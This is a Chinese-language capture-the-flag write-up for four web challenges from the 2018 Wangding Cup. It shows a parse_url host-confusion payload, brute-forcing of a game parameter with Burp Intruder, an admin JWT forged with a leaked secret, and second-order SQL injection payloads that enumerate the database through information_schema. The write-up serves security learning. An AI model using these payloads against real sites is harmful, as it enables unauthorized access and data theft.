2018年网鼎杯第三场Web题解

comein

题目:由于运维人员失误,内网认证页面部署至了外网,不过还好,开发加了域名验证。

做的时候服务器已经关闭了,获取源代码本地测试(PS:文件名为index.php,文件放在根目录下,浏览器输入localhost访问)

源代码如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
<?php

ini_set("display_errors",0);
$uri = $_SERVER['REQUEST_URI'];
if(stripos($uri,".")){
die("Unknow URI.");
}
if(!parse_url($uri,PHP_URL_HOST)){
$uri = "http://".$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI'];
}
$host = parse_url($uri,PHP_URL_HOST);
if($host === "c7f.zhuque.com"){
setcookie("AuthFlag","flag{***}");
}

?>

源代码看出,要绕过stripos函数的检测,首先我们要弄清楚全局变量$_SERVER[‘REQUEST_URI’]

1
2
3
4
5
<?php

echo $_SERVER['REQUEST_URI'];

?>

可见返回的是url中/后面的内容

parse_url函数作用是截取url中的指定部分,PHP_URL_HOST是截取url中的主机信息部分

示例:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
<?php
$url = 'http://username:password@hostname:9090/path?arg=value#anchor';

var_dump(parse_url($url, PHP_URL_SCHEME));
echo '<br>';
var_dump(parse_url($url, PHP_URL_USER));
echo '<br>';
var_dump(parse_url($url, PHP_URL_PASS));
echo '<br>';
var_dump(parse_url($url, PHP_URL_HOST));
echo '<br>';
var_dump(parse_url($url, PHP_URL_PORT));
echo '<br>';
var_dump(parse_url($url, PHP_URL_PATH));
echo '<br>';
var_dump(parse_url($url, PHP_URL_QUERY));
echo '<br>';
var_dump(parse_url($url, PHP_URL_FRAGMENT));
echo '<br>';
var_dump($_SERVER['REMOTE_ADDR']);

?>

执行结果:

可以看出parse_url($url, PHP_URL_HOST)截取的是@后面的hostname

最后要获取flag条件是截取的hostname等于c7f.zhuque.com,所以构造payload:.@c7f.zhuque.com/..//

最前面的.是为了绕过stripos函数,位置为0就不会执行die函数

本地测试代码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
<?php

ini_set("display_errors",0);
$uri = $_SERVER['REQUEST_URI'];
echo '$uri = '.$uri."<br>";
if(stripos($uri,".")){
die("Unknow URI.");
}
echo 'stripos($uri,".") = '.stripos($uri,".")."<br>";
echo "parse_url($uri,PHP_URL_HOST) = ".parse_url($uri,PHP_URL_HOST)."<br>";
if(!parse_url($uri,PHP_URL_HOST)){
$uri = "http://".$_SERVER['REMOTE_ADDR'].$_SERVER['REQUEST_URI'];
}
echo '$uri = '.$uri."<br>";
$host = parse_url($uri,PHP_URL_HOST);
echo '$host = '.$host."<br>";
if($host === "c7f.zhuque.com"){
setcookie("AuthFlag","flag{***}");
}

?>

最后加上../是为了回到根目录,再加个/就等于回到localhost/

gold

题目:还在上小学的小明同学开发了一款游戏,你能通关吗?

抓包发现不断POST参数getGod,值从0开始叠加,图片显示收集1000金币就可以通关,就猜测可能POST参数getGod从0到1001就可以得到flag

利用burp的intruder模块发送参数getGod,值从0到1001

发现getGod=1001的响应包中显示了flag

PS:这关有防作弊机制,必须单线程的POST参数getGod从0到1001,否则就弹出防作弊的提示框

i_am_admin

题目:你能登录进去吗?

一个登录界面,貌似要以admin身份才能获得flag

给出了提示We have prepare a test account for you to login; Username:Passwd = test:test

以test身份登录

抓取登录数据包,发现登录时在cookie字段设置了auth字段

获得信息:

1
Welcome back test user, although i can't give u flag, but i will give u my SECRET:uy8qz-!kru%*2h7$q&veq=y_r1abu-xd_219y%phex!@4hv62+

查询得知是JWT,JWT具体介绍参考下面链接

https://blog.csdn.net/qq_40081976/article/details/79046825

https://jwt.io/解码

登录test身份设置了auth字段,值就是JWT加密后的值,那么我们可以抓包在cookie添加auth字段,值为admin的JWT值,即eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImFkbWluIn0.NYSsNZ1gR8EUYebNTmXPBhdoh-mA5OjHkeWjM4gPxqY

获得flag

phone

题目:find the flag

有登录和注册的页面,试着注册账号test1,密码123,电话123

返回index.php页面

点击查询得到:有1人和你电话相似哦~

猜测存在二次注入,根据我们注册用户的电话号码执行sql语句

1
select count(*) from table where telephone='123';

我们再注册账号,密码123,电话123’#

这里电话号码必须是数字,我们可以将字符串转化为十六进制

在本地数据库测试一下

先创建表tel

1
2
3
4
5
6
create table tel
(
username varchar(20),
password varchar(20),
telphone varchar(100)
);

插入数据

1
2
insert into tel values('test1','123','123');
insert into tel values('test2','123',"123#'");

那么我们的注入点就在注册POST的phone参数,也就是电话号码

首先爆库,payload:123’ union select database() order by 1 desc#

库名为test

这里末尾加上order by 1 desc是为了将结果倒序

直接在数据库测试简单明了

如果不加order by,那么就只会显示查询的第一行结果1,如果我们将结果倒序处理

那么就显示了我们注入的结果

继续爆表,payload:123’ union select group_concat(table_name) from information_schema.tables where table_schema=database() order by 1 desc#

表名为flag,user

爆flag表下的列名,payload:123’ union select group_concat(column_name) from information_schema.columns where table_name=’flag’ order by 1 desc#

列名为f14g

爆f14g列下数据,payload:123’ union select group_concat(f14g) from flag order by 1 desc#

获得flag